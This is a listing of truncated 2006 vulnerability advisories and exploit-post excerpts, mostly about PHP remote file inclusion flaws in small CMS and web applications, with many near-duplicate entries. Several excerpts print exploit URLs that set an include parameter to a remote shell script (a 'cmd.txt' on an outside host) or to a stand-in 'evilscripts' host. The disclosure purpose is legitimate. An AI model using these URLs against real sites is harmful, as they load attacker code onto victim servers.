[Full-disclosure] Advisory 06/2006: PHProjekt (Remote) Include Vulnerabilities

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hardened-PHP Project www.hardened-php.net -= Security Advisory =- Advisory: PHProjekt Remote Include Vulnerabilities Release Date: 2006/09/29 Last Modified: 2006/09/29 Author: Stefan Esser [email protected] Application: PHProjekt 5.1.1 Severity:...

Grayscale BandSite CMS Multiple Input Validation Vulnerabilities

Hello,, Grayscale BandSite CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Romote Include includes/content/contactcontent.php?GLOBALSrootpath=http://psevil.googlepages.com/cmd.txt...

Wili-CMS Multiple Input Validation Vulnerabilities

Hello,, Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

Wili-CMS Multiple Input Validation Vulnerabilities

Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

Wili-CMS <= 0.1.1 (include/xss/full path) Remote Vulnerabilities

No description provided by source. Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include...

wsc01.txt

Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON URL: http://www.comscripts.com/jump.php?action=script&id=1082 Class: Remote cont@ct: x0r0nathotmaildotcom Code: include $l; Exploit: http://www.site.com/path/news/include/customize.php?l=http://evilscripts? Greetz: str0ke,...

Web Server Creator v0.1 (l) Remote Include Vulnerability

Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON URL: http://www.comscripts.com/jump.php?action=script&id=1082 Class: Remote cont@ct: x0r0nathotmaildotcom Code: include $l; Exploit: http://www.site.com/path/news/include/customize.php?l=http://evilscripts? Greetz: str0ke,...

Web Server Creator v0.1 (l) Remote Include Vulnerability

No description provided by source. Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON URL: http://www.comscripts.com/jump.php?action=script&id=1082 Class: Remote cont@ct: x0r0nathotmaildotcom Code: include $l; Exploit:...

Web Server Creator v0.1 (l) Remote Include Vulnerability

Exploit for unknown platform in category web applications ======================================================== Web Server Creator v0.1 l Remote Include Vulnerability ======================================================== Web Server Creator v0.1 l Remote Include Vulnerability Author: XORON...

AnnonceV News Script <= 1.1 (page) Remote File Include Vulnerability

No description provided by source. Kurdish Security Advisory Original Adv : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev-news.html Script : AnnonceV Site : http://www.comscripts.com/scripts/php.annoncesv.1895.html Version : 1.1 Risk : High Class : Remote Contact :...

YACS CMS <= 6.6.1 context[path_to_root] Remote File Include Vuln

No description provided by source. matasanos YACS CMS last version and maybe all File Inclusion Vulnerability affected software: YACS Yet Another Community System vendor: yacs . you can donwload it from http://www.yetanothercommunitysystem.com level: Highly Critical muy critico...

Web3news <= 0.95 (PHPSECURITYADMIN_PATH) Remote Include Vuln

No description provided by source. ============================================================================================== Web3news = v0.95 PHPSECURITYADMINPATH Remote File Inclusion Exploit ===============================================================================================...

Web3news <= 0.95 (PHPSECURITYADMIN_PATH) Remote Include Vuln

Exploit for unknown platform in category web applications ============================================================ Web3news = 0.95 PHPSECURITYADMINPATH Remote Include Vuln ============================================================...

pslash07.txt

pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit: http://www.site.com/path/modules/visitors2/include/config.inc.php?lvcincludedir=http://evilscripts? Greetz: str0ke, Ironfist,...

tiny15.txt

C Y B E R - W A R R i O R TIM TinyWebGallery v1.5 image Remote Include Vulnerability ------------------------------------------------------------------------------ Author: xoron ------------------------------------------------------------------------------ Script: TinyWebGallery...

spawInclude.txt

Kurdish Security Advisory Spaw Editor Remote Include Vulnerability Our Party is PKK, Our Army HPG, We will Earn contact ? : irc.gigachat.net kurdhack & [email protected] Risk : High Class : Remote Script : Spaw Editor Version : v1.6 and v1.7 Site : www.solmetra.com setBlock'colorpicker'; ?...

phpCOIN 1.2.3 &#40;_CCFG[_PKG_PATH_INCL]&#41; Remote Include Vulnerability

phpCOIN 1.2.3 CCFGPKGPATHINCL Remote Include Vulnerability Discovered by: Timq http://www.securitydb.org Email: timqathackernetworkdotcom http://www.securitydb.org Vulnerable: requireonce include $CCFG'PKGPATHINCL'.'redirect.php'; Exploit PoC:...

phpCOIN 1.2.3 (session_set.php) Remote Include Vulnerability

Exploit for unknown platform in category web applications ============================================================ phpCOIN 1.2.3 sessionset.php Remote Include Vulnerability ============================================================ phpCOIN 1.2.3 CCFGPKGPATHINCL Remote Include Vulnerability...

Integramod Portal <= 2.x (functions_portal.php) Remote Include Exploit

Exploit for unknown platform in category web applications ====================================================================== Integramod Portal Copyright 2006 C nukedx Greetz to: WW,xT,php from my team NWPX , str0ke , cha0s , Preddy , Yns , |SaMaN|, Caesar , Ogre and all of my friends use...

pSlash 0.7 - &#039;lvc_include_dir&#039; Remote File Inclusion

pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit: http://www.site.com/path/modules/visitors2/include/config.inc.php?lvcincludedir=http://evilscripts? Greetz: str0ke, Ironfist,...